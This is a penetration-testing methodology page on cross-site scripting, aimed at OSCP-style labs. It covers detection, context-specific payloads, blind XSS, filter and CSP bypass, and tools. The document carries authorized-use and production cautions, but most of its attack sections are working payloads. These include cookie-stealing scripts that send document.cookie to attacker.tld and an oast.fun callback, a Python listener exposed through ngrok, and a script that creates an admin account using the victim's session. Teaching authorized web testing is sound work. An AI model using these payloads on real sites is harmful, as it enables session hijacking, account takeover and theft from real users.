Skip to main content

XSS (Cross-Site Scripting)

Detection, payloads by context, blind XSS, session hijacking, filter bypass. Reflected, stored, DOM-based. Includes CSP and WAF context.

CAUTION

Authorized use only. See ../../SECURITY.md.


Table of Contents​


1. Overview​

XSS = attacker-controlled JavaScript executes in the victim browser in the context of the target origin.

Three families:

FamilyWhere the payload landsExample
ReflectedImmediate responsequery string payload reflected back
StoredSaved on the server, rendered latercomment, profile, ticket
DOM-basedClient-side JS writes user input to a sinkinnerHTML = location.hash

Impact:

  • Session hijacking (steal cookie or session token).
  • Phishing in the trusted origin.
  • Keylogger in the victim browser.
  • CSRF bypass (read the CSRF token from the DOM and issue the request).
  • Admin takeover (stored XSS on an admin-visited page).

On OSCP: XSS is mostly a step in a chain - stored XSS reaching an admin, stealing their session, or triggering an internal fetch. Reflected XSS alone is rarely the goal.


2. Scope & OPSEC​

2.1 Risk​

ActionTag
Reflected probe with benign payload (alert(1), console.log)[PROD-RISK]
Stored XSS insertion[PROD-NO] (may hit real admins)
Blind XSS payload on a contact form[PROD-NO] (fires on real employees)
Stealing cookies / session tokens[PROD-NO] (touches real accounts)
Triggering a full CSRF chain in production[PROD-NO]

2.2 What NOT to do (production)​

  • Do NOT inject stored XSS into production content that real users see.
  • Do NOT steal real user cookies or session tokens.
  • Do NOT run keyloggers in production.
  • Do NOT trigger admin-only endpoints via CSRF+XSS without approval.
  • Do NOT test reflected XSS on every parameter with a fuzzer (noise + WAF).

In production, XSS tests are usually limited to non-exploitative proof (alert(document.domain)) on your own test account, then reported.

2.3 Rate limiting​

XSS payloads are individual requests, not brute-force. Rate limits matter mainly for fuzzers (XSStrike, dalfox):

dalfox url http://target/?q=test --delay 500 --workers 1 # PROD

3. Detection (Manual)​

3.1 Basic probes​

Send a unique string and see where it appears in the response.

UNIQ=xss-$(date +%s)
curl -s 'http://target/search?q='$UNIQ | grep -n $UNIQ

Then try breaking out of the current context.

curl -s 'http://target/search?q=<script>alert(1)</script>'
curl -s 'http://target/search?q=<img+src=x+onerror=alert(1)>'
curl -s 'http://target/search?q=<svg+onload=alert(1)>'

Check where the string lands:

  • HTML body: script tag, img onerror, svg onload should execute.
  • Attribute: break out with a double or single quote, add an event handler.
  • Inside a script tag: break the string, inject a closing tag or a new expression.
  • Inside CSS: use expression() or url(javascript:) (old).

3.2 Context matters​

Payload that works in HTML body will NOT work inside an attribute. Detect the context first, then pick a payload (see section 4).

3.3 Encoded / filtered​

If the less-than sign is stripped or encoded, try:

  • HTML entity: <script> - only works if not re-encoded.
  • Double encoding: %253Cscript%253E.
  • Alternative tags: svg, img, body onload, details open ontoggle.
  • Alternative event handlers: onerror, onload, onfocus, onpointerover.

3.4 DOM-based sources and sinks​

Sources (attacker-controlled input reaching JS):

  • location.hash, location.search, location.pathname
  • document.URL, document.documentURI
  • document.referrer
  • window.name
  • postMessage data

Sinks (where the value is executed):

  • innerHTML, outerHTML
  • document.write, document.writeln
  • eval, Function, setTimeout(string), setInterval(string)
  • location assignment (javascript:)
  • jQuery: .html(), .append()

See section 8 for DOM-based testing workflow.


4. Payloads by Context​

4.1 HTML body​

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<iframe src=javascript:alert(1)></iframe>

4.2 Inside an attribute​

Double-quoted attribute (break out with a double quote):

" onmouseover="alert(1)"
" autofocus onfocus="alert(1)"
"><script>alert(1)</script>

Single-quoted attribute (break out with a single quote):

' onmouseover='alert(1)'
' autofocus onfocus='alert(1)'
'><script>alert(1)</script>

Unquoted attribute:

autofocus onfocus=alert(1)

4.3 Inside a script tag​

</script><script>alert(1)</script>
";alert(1);//
';alert(1);//
`;alert(1);//

4.4 Inside a style tag​

</style><script>alert(1)</script>
body{background:url("javascript:alert(1)")} /* old browsers */

4.5 URL / href / src​

<a href=javascript:alert(1)>click</a>
<a href=data:text/html,<script>alert(1)</script>>click</a>
<iframe src=data:text/html,<script>alert(1)</script>></iframe>

4.6 Polyglots (when context is unknown)​

jaVasCript:/*-/*`/*\\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e

Try a polyglot first, then narrow down to the exact context.


5. Blind XSS​

Blind XSS = stored XSS that fires when an admin (or bot) visits the page later. Common in: contact forms, support tickets, logs, chat, error reports.

5.1 Setup a listener​

Option 1 - XSS Hunter (hosted or self-hosted):

# https://xsshunter.com/ (or self-hosted)
# Generates a unique payload URL per test

Option 2 - interactsh (lightweight, CLI):

interactsh-client
# prints a URL like xyz.oast.fun

Option 3 - your own VPS + nginx access log:

python3 -m http.server 8000
# watch the access log for incoming requests

5.2 Payload​

<script src=//xyz.oast.fun></script>
<script>new Image().src="//xyz.oast.fun/"+document.cookie</script>

The callback proves execution and can carry the cookie.

5.3 Where to inject​

  • Contact / support forms
  • Comment fields
  • Profile bio, signature
  • Ticket subjects and bodies
  • User-Agent, Referer (if logged and viewed by admins)
  • Error reporting / feedback features

5.4 Waiting​

Blind XSS may take minutes to hours. Check the listener periodically. In HTB/OSCP, admins are automated and usually visit quickly.


6. Session Hijacking​

<script>new Image().src="http://attacker.tld/c?"+document.cookie</script>

Minimal Python listener:

from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
def do_GET(self):
print(self.path)
self.send_response(200)
self.end_headers()

HTTPServer(("0.0.0.0", 8000), H).serve_forever()

Expose it to the target:

python3 listener.py
# in another terminal:
ngrok http 8000
# use the ngrok URL in the payload
FlagEffect
HttpOnlydocument.cookie cannot read it - XSS cannot steal directly
SecureOnly sent over HTTPS
SameSite=Strict/LaxLimits cross-site cookie transmission

6.4 If HttpOnly is set​

You cannot read the cookie via JS. Alternatives:

  • CSRF via XSS: read the CSRF token from the page and issue an authenticated request.
  • Internal fetch: use the victim browser as a proxy to fetch internal data.
  • Keylogger: capture keystrokes on login-like forms.
  • Session fixation: sometimes still possible.

7. CSRF via XSS​

XSS can bypass CSRF tokens because it runs same-origin - it can read the token from the DOM.

7.1 Example: create an admin user​

<script>
fetch("/admin/users")
.then(r => r.text())
.then(html => {
const m = html.match(/name="csrf" value="([^"]+)"/);
const token = m ? m[1] : "";
fetch("/admin/users/create", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "csrf=" + token + "&username=pwn&password=pwn&role=admin"
});
});
</script>

Result: a new admin account, created via the victim authenticated session.

7.2 Notes​

  • Needs the CSRF token to be readable in the DOM.
  • If the token is in a cookie (double-submit), read it from document.cookie.
  • If same-origin policy blocks the request, adjust the target endpoint.

8. DOM-Based XSS​

The server returns safe HTML; the client-side JS reads a source and writes to a sink without sanitization.

8.1 Test workflow​

  1. Open the page with Burp + DOM Invader enabled.
  2. Walk through the app; DOM Invader highlights sources and sinks.
  3. Inject a canary through a source (URL param, hash, referrer).
  4. Observe if it reaches a sink.

8.2 Sources and sinks reference​

SourceSinkPayload
location.hashinnerHTMLimg src=x onerror=alert(1)
location.searchdocument.writescript tag
document.referrereval);alert(1);//
postMessageFunctionalert(1)
window.namesetTimeoutalert(1)

8.3 Notes​

  • DOM XSS does not require a server round-trip - server log will not show it.
  • Reflected vs DOM: reflected is server-side; DOM is client-side.
  • Check the JS bundle for innerHTML, eval, document.write, .html(

9. Bypassing Filters and WAF​

9.1 Common filter bypasses​

  • Case variation:
  • Comment insertion: <scr<!---->ipt>, <img/**/src=x>.
  • HTML entity encoding (if not re-encoded): <script>.
  • Unicode escapes in JS: \u0061lert(1).
  • Alternative tags: svg, details, marquee, video, audio.
  • Alternative events: onpointerover, ontoggle, onanimationstart.
  • Whitespace alternatives: /, %09, %0a, %0d.

9.2 CSP bypass (if CSP header present)​

Inspect the CSP policy:

curl -sI http://target | grep -i content-security-policy

Common weaknesses:

  • unsafe-inline -> inline scripts allowed, no bypass needed.
  • unsafe-eval -> eval() works.
  • Wildcards: script-src * or script-src https: -> host a script on any HTTPS.
  • JSONP endpoint in whitelist -> abuse it to load your code.
  • nonce leaked in HTML -> use it in your payload.
  • base-uri self missing -> base tag hijacks relative scripts.

Example with wildcard CSP:

<script src=https://attacker.tld/payload.js></script>

9.3 WAF bypass​

See WAF-Detection.md section 6 for encoding, case, and comment insertion strategies. For XSS the common WAF trigger is the string


10. Common Tools​

ToolPurpose
Burp Suite (Repeater + DOM Invader)Manual + DOM XSS
XSStrikeAutomatic payload generation
dalfoxFast XSS scanner
XSS HunterBlind XSS listener
interactsh-clientOOB callback listener
PayloadsAllTheThingsXSS payload list
SecLists XSSXSS wordlists

Examples:

# dalfox (LAB)
dalfox url http://target/?q=test
dalfox url http://target/?q=test --blind http://xyz.oast.fun

# dalfox (PROD, slow)
dalfox url http://target/?q=test --delay 500 --workers 1

# XSStrike
python3 xsstrike.py -u http://target/?q=test

11. OSCP Notes​

IMPORTANT

OSCP report:

  • Screenshot the XSS payload in the request.
  • Screenshot the JavaScript execution (alert box, DOM change, callback).
  • Screenshot the stolen cookie or session (redacted where needed).
  • If XSS leads to admin takeover: screenshot the admin panel accessed with the stolen session.

See ../../methodology/OSCP-Reporting.md.


12. Cheatsheet​

Basic probes​

curl -s 'http://target/?q=<script>alert(1)</script>'
curl -s 'http://target/?q=<img+src=x+onerror=alert(1)>'
curl -s 'http://target/?q=<svg+onload=alert(1)>'

Payloads by context​

<!-- HTML body -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>

<!-- double-quoted attribute -->
" autofocus onfocus="alert(1)
"><script>alert(1)</script>

<!-- inside script -->
</script><script>alert(1)</script>
";alert(1);//

<!-- URL -->
<a href=javascript:alert(1)>x</a>
<script>new Image().src="http://attacker.tld/c?"+document.cookie</script>
python3 -m http.server 8000
ngrok http 8000

Blind XSS​

<script src=//xyz.oast.fun></script>
interactsh-client

13. References​

See also: ../01 Recon/WAF-Detection.md, ../../03 API/02 REST.md, CSRF.md


Part of MethodMan. English only by design. Last updated: 2026-10-11.